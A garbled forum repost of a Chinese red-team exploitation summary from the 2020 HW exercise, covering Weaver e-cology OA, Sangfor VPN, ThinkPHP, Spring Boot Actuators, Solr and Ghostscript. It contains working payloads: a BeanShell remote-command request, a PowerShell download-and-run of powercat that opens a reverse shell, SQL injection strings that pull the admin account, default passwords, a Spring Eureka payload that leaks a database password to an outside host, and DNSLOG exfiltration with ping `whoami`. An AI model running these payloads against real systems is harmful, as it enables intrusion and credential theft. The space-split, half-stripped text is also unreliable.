[21241] 2020-09-12_2020HW红方漏洞利用总结(一)

文档创建者:s7ckTeam
浏览次数:14
最后更新:2025-01-18
2020-09-12_2020HW红方漏洞利用总结(一) 2 0 2 0 H W L e m o n S e c   2 0 2 0 - 0 9 - 1 2   H W P O C 1 O A   B s h   1 .   2 0 1 9 9 1 7 O A ,   e - c o l o g y   O A J a v a   B e a n s h e l l 访 ,   B e a n s h e l l ,   H T T P ,   . 2 .   O A 3 .   4 .   F o f a   D o r k 5 .   O A   E - c o l o g y     F r e e B u f h t t p s : / / w w w . f r e e b u f . c o m / v u l s / 2 1 5 2 1 8 . h t m l h t t p s : / / g i t h u b . c o m / b e a n s h e l l / b e a n s h e l l h t t p : / / b e a n s h e l l . o r g / m a n u a l / q u i c k s t a r t . h t m l # T h e _ B e a n S h e l l _ G U I 6 .   V u l n e r a b i l i t y - a n a l y s i s / 0 9 1 7 / w e a v e r - o a / C N V D - 2 0 1 9 - 3 2 2 0 4   a t   m a s t e r   ·   m y z i n g 0 0 / V u l n e r a b i l i t y - a n a l y s i s h t t p s : / / g i t h u b . c o m / m y z i n g 0 0 / V u l n e r a b i l i t y - a n a l y s i s / t r e e / m a s t e r / 0 9 1 7 / w e a v e r - o a / C N V D - 2 0 1 9 - 3 2 2 0 4 7 .   1 .     2 . w i n d o w s ,   s h e l l 使 p c a t 8 .   1 . 2 . 访 2 O A   e - c o l o g y   S Q L 1 .   O A , , S R C   h t t p s : / / w e a v e r s r c . v u l b o x . c o m / ,   2 .   O A 3 .   S e t - C o o k i e :   e c o l o g y _ J S e s s i o n I d = e c o l o g y / w e a v e r / b s h . s e r v l e t . B s h S e r v l e t a p p = " - O A " P O S T   / w e a v e r / b s h . s e r v l e t . B s h S e r v l e t   H T T P / 1 . 1 H o s t :   x x x x x x x x : 8 0 8 8 A c c e p t :   * / * A c c e p t - L a n g u a g e :   e n U s e r - A g e n t :   M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   T r i d e n t / 5 . 0 ) C o n n e c t i o n :   c l o s e C o n t e n t - L e n g t h :   9 8 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d b s h . s c r i p t = e v a l % 0 0 ( " e x " % 2 b " e c ( " w h o a m i " ) " ) ; & b s h . s e r v l e t . c a p t u r e O u t E r r = t r u e & b s h . s e r v l e t . o u t p u t = r a w e v a l % 0 0 ( " e x " % 2 b " e c ( " w h o a m i " ) " ) ; e x u 0 0 6 5 c ( " c m d   / c   d i r " ) ; P o w e r s h e l l I E X ( N e w - O b j e c t   S y s t e m . N e t . W e b c l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / b e s i m o r h i n o / p o w e r c a t / m a s t e r / p o w e r c a t . p s 1 ' ) ; p o w e r c a t   - c   i p   - p   6 6 6 6   - e   c m d / w e a v e r / b s h . s e r v l e t . B s h S e r v l e t S e t - C o o k i e :   e c o l o g y _ J S e s s i o n I d =
4 .   F o f a   D o r k 5 .   O A   W o r k f l o w C e n t e r T r e e D a t a ( o r a c l e )     h t t p s : / / x z . a l i y u n . c o m / t / 6 5 3 1 6 .   O A   e - c o l o g y   W o r k f l o w C e n t e r T r e e D a t a S Q L - C S D N h t t p s : / / b l o g . c s d n . n e t / z y c d n / a r t i c l e / d e t a i l s / 1 0 2 4 9 4 0 3 7 T e n t a c l e / e c o l o g y 8 _ m o b i l e _ s q l _ i n j e c t . p y   a t   6 e 1 c e c d 5 2 b 1 0 5 2 6 c 4 8 5 1 a 2 6 2 4 9 3 3 9 3 6 7 1 0 1 b 3 c a 2   ·   o r l e v e n / T e n t a c l e h t t p s : / / g i t h u b . c o m / o r l e v e n / T e n t a c l e / b l o b / 6 e 1 c e c d 5 2 b 1 0 5 2 6 c 4 8 5 1 a 2 6 2 4 9 3 3 9 3 6 7 1 0 1 b 3 c a 2 / s c r i p t / e c o l o g y / e c o l o g y 8 _ m o b i l e _ s q l _ i n j e c t . p y         O A     A d r e a m W i l l B     h t t p s : / / w w w . c n b l o g s . c o m / A t e s e t E n g i n n e r / p / 1 1 5 5 8 4 6 9 . h t m l   ,   ,   ,   7 .   1 . ,   ,   2 . ,   ,   3 . , ,   , 便 4 . ,   O A   E 8 2 ,   m s s q l ,   o r a c l e ,   s q l ( p y t h o n   8 0 0 )     s q l / s q l m s s q l , o r a c l e   ,   ,     使   使     5 ,   ,   使 8 .   1 . 2 . 3 . 使 w a f S e t - C o o k i e :   e c o l o g y _ J S e s s i o n I d = e c o l o g y W o r k f l o w C e n t e r T r e e D a t a / m o b i l e / p l u g i n / S y n c U s e r I n f o . j s p a p p = " - O A " / m o b i l e / p l u g i n / S y n c U s e r I n f o . j s p x s s M a x L e n g t h = 5 0 0 x s s M a x L e n g t h = 1 0 0 0 0 0 0 % 0 a % 0 d "   " * 8 0 0 " - 1 )   " + "   " * 8 0 0 +   " u n i o n   s e l e c t / * * / 1 ,   N u l l ,   N u l l ,   N u l l ,   N u l l ,   N u l l ,   N u l l ,   N u l l   f r o m   H r m r e s o u r c e m a n a g e r   w h e r e   l o g i n i d = ( ' s y s a d m i n ' " / * * / H r m r e s o u r c e m a n a g e r H r m r e s o u r c e H r m r e s o u r c e m a n a g e r s y s a d m i n u n i o n   s e l e c t " - 1 )   " + "   " * 8 0 0 +   "   o r / * * /   1 = 1   a n d   i d < ( 5 " < 5
3 V P N 1 .     V P N   ,   2 0 1 9   使 2 .     V P N 3 .   4 .   F o f a   D o r k 5 .   v p n w e b     p o t a t s o     h t t p s : / / w w w . c n b l o g s . c o m / p o t a t s o S e c / p / 1 2 3 2 6 3 5 6 . h t m l 6 .   7 .   1 . V P N ,   2 0 0 8 ,   7 6 1 i p 2 . ,   ,   使   ,   d n s 3 .   8 .   1 . 2 . 4   V P N   1 .     V P N   5 I P ,   ,   2 .     V P N 3 .   4 .   F o f a   D o r k 5 .   S S L   V P N     S S L   V P N / E M M     h t t p s : / / b b s . s a n g f o r . c o m . c n / f o r u m . p h p ? m o d = v i e w t h r e a d & t i d = 2 0 6 3 3 ,   6 .   1 . V P N     d e m o   ( M 6 , ) 7 .   S e t - C o o k i e :   T W F I D = w e l c o m e   t o   s s l   v p n   S i n f o r h e a d e r = " S e t - C o o k i e :   T W F I D = " w g e t   - t   % d   - T   % d   - - s p i d e r   % s w h o m a i u n a m e c a t   / e t c / p a s s w d   |   t r   "   n "   " + | " / p o r / l o g i n _ a u t h . c s p ? a p i v e r s i o n = 1 s a n g f o r / c g i - b i n / l o g i n . c g i ? r n d = a p p = " - S S L - V P N " # e n c o d i n g = u t f 8 i m p o r t   r e q u e s t s i m p o r t   h a s h l i b i m p o r t   u r l l i b 3 u r l l i b 3 . d i s a b l e _ w a r n i n g s ( ) i m p o r t   r e s e s s i o n   =   r e q u e s t s . s e s s i o n ( ) d e f   S a n F o r L o g i n ( t a r g e t ,   p a s s w o r d ,   u s e r n a m e = " a d m i n " ) :         #     s h a 1 ( p a s s w o r d + s i d )         #   P O C S a n F o r L o g i n ( " h t t p s : / / x x x x x x x x x x x / " ,   " a d m i n " )
1 . ,   ,   A P T   i p ,   ,   2 . ,   ,   ,   3 . s q l ,   ,   ,   ,   S S L V P N & S Q L g e t s h e l l h t t p s : / / w w w . u e d b o x . c o m / p o s t / 3 1 0 9 2 / 8 .   1 . 2 . 5 ( ,   ,   ,   V P N )   1 .   ,   ,   ,   2 .   ,   ,   ,   V P N 3 .   ,   ,   ,   V P N 4 .   F o f a   D o r k ,   ,   ,   V P N   5 .   | I T 2 0 2 1 . C o m h t t p s : / / w w w . i t 2 0 2 1 . c o m / s e c u r i t y / 6 1 4 . h t m l I P h t t p s : / / m p . w e i x i n . q q . c o m / s / O L f 7 Q D l 6 q c s y 2 F O q C Q 2 i c A 6 .   | I T 2 0 2 1 . C o m h t t p s : / / w w w . i t 2 0 2 1 . c o m / s e c u r i t y / 6 1 4 . h t m l I P h t t p s : / / m p . w e i x i n . q q . c o m / s / O L f 7 Q D l 6 q c s y 2 F O q C Q 2 i c A 7 .   1 . 西 ,         8 .   1 . 2 . I P 6 T h i n k p h p   1 .   T h i n k p h p   P H P ,     / s q l / / 2 .   T h i n k p h p 3 .   4 .   F o f a   D o r k 5 .   T h i n k P H P     s h a 1 ( p a s s w o r d + s i d ) a d m i n / 1 2 3 4 5 6 / S a n g f o r / S a n g f o r @ 1 2 3 a d m i n r o o t 1 2 3 4 5 6 T h i n k p h p   X - P o w e r e d - B y :   T h i n k P H P a p p = " T h i n k P H P "
h t t p : / / z o n e . s e c e v e r y . c o m / a r t i c l e / 1 1 6 5 T h i n k P H P     h t t p s : / / b l o g . r i s k i v y . c o m / % E 6 % 8 C % 9 6 % E 6 % 8 E % 9 8 % E 6 % 9 A % 9 7 % E 8 % 9 7 % 8 F t h i n k p h p % E 4 % B 8 % A D % E 7 % 9 A % 8 4 % E 5 % 8 F % 8 D % E 5 % B A % 8 F % E 5 % 8 8 % 9 7 % E 5 % 8 8 % A 9 % E 7 % 9 4 % A 8 % E 9 % 9 3 % B E / T h i n k P H P 使 P H P _ F l y - C S D N h t t p s : / / b l o g . c s d n . n e t / F l y _ h p s / a r t i c l e / d e t a i l s / 8 1 2 0 1 9 0 4 D S M a l l     h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 2 0 3 4 6 1 6 .   S k y B l u e E t e r n a l / t h i n k p h p - R C E - P O C - C o l l e c t i o n :   t h i n k p h p   v 5 . x   - P O C h t t p s : / / g i t h u b . c o m / S k y B l u e E t e r n a l / t h i n k p h p - R C E - P O C - C o l l e c t i o n D i d o 1 9 6 0 / t h i n k p h p :   t h i n k p h p P O C h t t p s : / / g i t h u b . c o m / D i d o 1 9 6 0 / t h i n k p h p w h i r l w i n d 1 1 0 / t p h a c k :   T h i n k p h p 3 / 5   L o g h t t p s : / / g i t h u b . c o m / w h i r l w i n d 1 1 0 / t p h a c k 7 .   1 . T h i n k p h p ,   ,   r c e ,   2 . t h i n p h p ,   c t f 3 . ,   ,   使 D S M a l l     h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 2 0 3 4 6 1 8 .   1 . 2 . T h i n k p h p 3 . W A F 7 S p r i n g   1 .   S p r i n g   j a v a   w e b ,   ,   S p r i n g   B o o t   A c t u a t o r s   ,   ,   2 .   S p r i n g   x x x 3 .   4 .   F o f a   D o r k 5 .   S p r i n g     ~   M i s a k i s   B l o g h t t p s : / / m i s a k i k a t a . g i t h u b . i o / 2 0 2 0 / 0 4 / S p r i n g - % E 6 % A 1 % 8 6 % E 6 % 9 E % B 6 % E 6 % B C % 8 F % E 6 % B 4 % 9 E % E 9 % 9 B % 8 6 % E 5 % 9 0 % 8 8 / E x p l o i t i n g   S p r i n g   B o o t   A c t u a t o r s   |   V e r a c o d e   b l o g h t t p s : / / w w w . v e r a c o d e . c o m / b l o g / r e s e a r c h / e x p l o i t i n g - s p r i n g - b o o t - a c t u a t o r s S p r i n g   B o o t   A c t u a t o r s R C E     J F     b l o g h t t p s : / / j i a n f e n s e c . c o m / % E 6 % B C % 8 F % E 6 % B 4 % 9 E % E 5 % A 4 % 8 D % E 7 % 8 E % B 0 / S p r i n g % 2 0 B o o t % 2 0 A c t u a t o r s % E 9 % 8 5 % 8 D % E 7 % B D % A E % E 4 % B 8 % 8 D % E 5 % B D % 9 3 % E 5 % A F % B C % E 8 % 8 7 % B 4 R C E % E 6 % B C % 8 F % E 6 % B 4 % 9 E % E 5 % A 4 % 8 D % E 7 % 8 E % B 0 / 6 .   m p g n / S p r i n g - B o o t - A c t u a t o r - E x p l o i t :   S p r i n g   B o o t   A c t u a t o r   ( j o l o k i a )   X X E / R C E h t t p s : / / g i t h u b . c o m / m p g n / S p r i n g - B o o t - A c t u a t o r - E x p l o i t a r t s p l o i t / y a m l - p a y l o a d :   A   t i n y   p r o j e c t   f o r   g e n e r a t i n g   S n a k e Y A M L   d e s e r i a l i z a t i o n   p a y l o a d s h t t p s : / / g i t h u b . c o m / a r t s p l o i t / y a m l - p a y l o a d 7 .   1 . S p r i n g   B o o t   A c t u a t o r s   ,   ,   使 ,   ,     X - A p p l i c a t i o n - C o n t e x t : a p p = " S p r i n g - F r a m e w o r k " S p r i n g   B o o t   A c t u a t o r s S p r i n g   B o o t S p r i n g   B o o t h t t p : / / 1 2 3 . 1 2 3 . 1 2 3 . 1 2 3 / a d m i n / e n v
  ,     s e s s i o n ,   R C E   d u m p   j v m ,   使   j h a t   e n d p o i n t ,   1 . x   2 . x ,     h t t p : / / 1 2 3 . 1 2 3 . 1 2 3 . 1 2 3 / m a n a g e r / e n v / e n v / h e a p d u m p / t r a c e / h e a l t h / l o g g e r s / m e t r i c s / a u t o c o n f i g / h e a p d u m p / t h r e a d d u m p / e n v / i n f o / d u m p / c o n f i g p r o p s / m a p p i n g s / a u d i t e v e n t s / b e a n s / j o l o k i a / c l o u d f o u n d r y a p p l i c a t i o n / h y s t r i x . s t r e a m / a c t u a t o r / a c t u a t o r / a u d i t e v e n t s / a c t u a t o r / b e a n s / a c t u a t o r / h e a l t h / a c t u a t o r / c o n d i t i o n s / a c t u a t o r / c o n f i g p r o p s / a c t u a t o r / e n v / a c t u a t o r / i n f o / a c t u a t o r / l o g g e r s / a c t u a t o r / h e a p d u m p / a c t u a t o r / t h r e a d d u m p / a c t u a t o r / m e t r i c s / a c t u a t o r / s c h e d u l e d t a s k s / a c t u a t o r / h t t p t r a c e / a c t u a t o r / m a p p i n g s / a c t u a t o r / j o l o k i a / a c t u a t o r / h y s t r i x . s t r e a m / m o n i t o r / m o n i t o r / a u d i t e v e n t s / m o n i t o r / b e a n s / m o n i t o r / h e a l t h / m o n i t o r / c o n d i t i o n s / m o n i t o r / c o n f i g p r o p s / m o n i t o r / e n v / m o n i t o r / i n f o / m o n i t o r / l o g g e r s / m o n i t o r / h e a p d u m p / m o n i t o r / t h r e a d d u m p / m o n i t o r / m e t r i c s / m o n i t o r / s c h e d u l e d t a s k s / m o n i t o r / h t t p t r a c e / m o n i t o r / m a p p i n g s / m o n i t o r / j o l o k i a / m o n i t o r / h y s t r i x . s t r e a m / e n v
  +     r c e ,   s p r i n g   b o o t   r e l o a d ,   f a s t j s o n 2 . R C E ,     S p r i n g   ,   / k e y o k 3 . 使 s p r i n g   e u r e k a ,   ,   s e r v e r ,   e u r e k a     s e r v e r     c l i e n t ,   x m l 8 .   1 . 2 . S p r i n g   B o o t   A c t u a t o r s 3 . W A F 8 S o l r   1 .   S o l r   ,   , 2 .   S o l r 3 .   4 .   F o f a   D o r k 5 .   A p a c h e   S o l r R C E     F r e e B u f h t t p s : / / w w w . f r e e b u f . c o m / v u l s / 2 1 8 7 3 0 . h t m l A p a c h e   S o l r   D a t a I m p o r t H a n d l e r   ( C V E - 2 0 1 9 - 0 1 9 3 )   h t t p s : / / p a p e r . s e e b u g . o r g / 1 0 0 9 / 6 .   v e r a c o d e - r e s e a r c h / s o l r - i n j e c t i o n :   A p a c h e   S o l r   I n j e c t i o n   R e s e a r c h h t t p s : / / g i t h u b . c o m / v e r a c o d e - r e s e a r c h / s o l r - i n j e c t i o n j a s 5 0 2 n / C V E - 2 0 1 9 - 1 2 4 0 9 :   A p a c h e   S o l r   R C E   ( E N A B L E _ R E M O T E _ J M X _ O P T S = t r u e ) h t t p s : / / g i t h u b . c o m / j a s 5 0 2 n / C V E - 2 0 1 9 - 1 2 4 0 9 m o g w a i l a b s / m j e t :   M O G W A I   L A B S   J M X   e x p l o i t a t i o n   t o o l k i t h t t p s : / / g i t h u b . c o m / m o g w a i l a b s / m j e t 7 .   1 . ,   ,   2 . , s t u b ( ,   d o c k e r ) ,   使 ,   8 .   1 . 2 . 9 G h o s t s c r i p t   1 .   G h o s t s c r i p t   ,   i m a g e m a g i c k ,     . p s 广 ,   ,   2 .   i m a g e m a g i c k ,   l i b m a g i c k ,   g r a p h i c s m a g i c k ,   g i m p ,   p y t h o n - m a t p l o t l i b ,   t e x l i v e - c o r e ,   t e x m a c s ,   l a t e x 2 h t m l ,   l a t e x 2 r t f   3 .   4 .   F o f a   D o r k 5 .   g h o s t s c r i p t     ,   / r e f r e s h e u r e k a . c l i e n t . s e r v i c e U r l . d e f a u l t Z o n e = h t t p : / / $ { s o m e d b . p a s w o r d } @ 1 2 7 . 0 . 0 . 1 : 5 0 0 0 s p r i n g . c l o u d . b o o t s t r a p . l o c a t i o n = h t t p : / / $ { s o m e d b . p a s s w o r d } @ a r t s p l o i t . c o m / y a m l - p a y l o a d . y m l S o l r a p p = " S o l r " m j e t s o c a t . p s / . j p g / . p n g
h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 1 5 7 5 1 3 6 .   E x p l o i t   D a t a b a s e   S e a r c h h t t p s : / / w w w . e x p l o i t - d b . c o m / s e a r c h ? q = G h o s t s c r i p t v u l h u b / g h o s t s c r i p t / C V E - 2 0 1 9 - 6 1 1 6   a t   m a s t e r   ·   v u l h u b / v u l h u b h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b / t r e e / m a s t e r / g h o s t s c r i p t / C V E - 2 0 1 9 - 6 1 1 6 7 .   1 . ,   ,   ,   G h o s t s c r i p t   d n s l o g         ,   便 ,     c e n t o s     u b u n t u   p o c ,     /     / ,   2 ,   D N S L O G p o c 8 .   1 . p i n g   ` u n a m e ` . a d m i n . c e y e . i o p i n g   ` w h o a m i ` . a d m i n . c e y e . i o p i n g   ` w h o a m i ` . c e n t o s . a d m i n . c e y e . i o p i n g   ` w h o a m i ` . u b u n t u . a d m i n . c e y e . i o c e n t o s _ p s . j p g u b u n t u _ p s . j p g
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则